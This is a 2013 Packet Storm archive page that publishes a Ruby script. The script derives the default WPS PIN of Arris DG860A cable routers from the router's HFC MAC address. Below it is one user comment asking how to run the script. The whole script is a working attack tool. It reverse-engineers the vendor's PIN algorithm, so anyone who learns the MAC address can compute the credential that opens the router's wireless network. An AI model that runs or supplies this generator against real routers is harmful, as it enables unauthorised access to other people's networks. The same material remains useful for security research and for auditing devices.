Exploit the possiblities

ARRIS DG860A WPS PIN Generator

ARRIS DG860A WPS PIN Generator
Posted Oct 15, 2013
Authored by Justin Oberdorf

This is a ruby script that will generate the default WPS PIN for the Arris DG860A providing you know the HFC MAC address.

tags | tool, wireless, ruby
MD5 | 8322b2f4a5cb516665858f772a46b780

ARRIS DG860A WPS PIN Generator

Change Mirror Download
#!/usr/bin/ruby

require 'optparse'
def ComputeChecksum(s)
accum = 0
s *= 10
accum += 3 * ((s / 10000000) % 10)
accum += 1 * ((s / 1000000) % 10)
accum += 3 * ((s / 100000) % 10)
accum += 1 * ((s / 10000) % 10)
accum += 3 * ((s / 1000) % 10)
accum += 1 * ((s / 100) % 10)
accum += 3 * ((s / 10) % 10)
digit = (accum % 10)
return (10 - digit) % 10
end
def F(n)
if n==1 or n==2 or n==0
return 1
end
return F(n-1) + F(n-2)
end
def FibGen(num)
return F(num);
end
def GenerateWPS(strMac)
fibnum = Array.new(6)
fibsum=0;
seed=16
count=1
offset=0
counter=0
arrayMacs = strMac.split(":").map { |s| s.hex }
tmp = arrayMacs.dup
for i in 0..5
if tmp[i] > 30
while tmp[i] > 31 do
tmp[i] -= 16
counter += 1
end
end
if counter == 0
if tmp[i] < 3
tmp[i] = tmp[0]+tmp[1]+tmp[2]+tmp[3]+tmp[4]+tmp[5]-tmp[i]
if tmp[i] > 0xff
tmp[i] = tmp[i] & 0xff
end
tmp[i] = (tmp[i]%28) + 3
end
fibnum[i] = FibGen(tmp[i])
else
fibnum[i] = FibGen(tmp[i])+FibGen(counter)
end
counter = 0
end

for i in 0..5
fibsum += (fibnum[i]*FibGen(i+seed))+arrayMacs[i]
end
fibsum = fibsum%10000000
checksum = ComputeChecksum(fibsum)
fibsum = (fibsum*10) + checksum
return fibsum.to_s
end

if __FILE__ == $0
options = {}
OptionParser.new do |opts|
opts.banner = "Usage: arriswps.rb OPTIONS"
opts.separator ""
opts.separator "Options"
opts.on('-m', '--mac 00:00:00:00:00:00', 'HFC MAC ADDRESS') { |v| options[:mac_address] = v }
end.parse!
raise OptionParser::MissingArgument if options[:mac_address].nil?
puts GenerateWPS(options[:mac_address])
end

Comments (1)

RSS Feed Subscribe to this comment feed
t3ht33j

Hi,
Please excuse my ignorance here but i have never used RUBY before. I attempt to run the script and i am given:
C:/test.rb:74:in `<main>': missing argument: (OptionParser::MissingArgument)
Im quite sure this means i was supposed to plug my MAC in somewhere but all of the areas that i assumed were correct wernt.
Once again thanks for bearing with me!

Comment by t3ht33j
2013-11-11 02:02:44 UTC | Permalink | Reply
Login or Register to post a comment

File Archive:

November 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    22 Files
  • 2
    Nov 2nd
    28 Files
  • 3
    Nov 3rd
    10 Files
  • 4
    Nov 4th
    1 Files
  • 5
    Nov 5th
    5 Files
  • 6
    Nov 6th
    15 Files
  • 7
    Nov 7th
    15 Files
  • 8
    Nov 8th
    13 Files
  • 9
    Nov 9th
    9 Files
  • 10
    Nov 10th
    9 Files
  • 11
    Nov 11th
    3 Files
  • 12
    Nov 12th
    2 Files
  • 13
    Nov 13th
    15 Files
  • 14
    Nov 14th
    17 Files
  • 15
    Nov 15th
    19 Files
  • 16
    Nov 16th
    15 Files
  • 17
    Nov 17th
    19 Files
  • 18
    Nov 18th
    0 Files
  • 19
    Nov 19th
    0 Files
  • 20
    Nov 20th
    0 Files
  • 21
    Nov 21st
    0 Files
  • 22
    Nov 22nd
    0 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    0 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close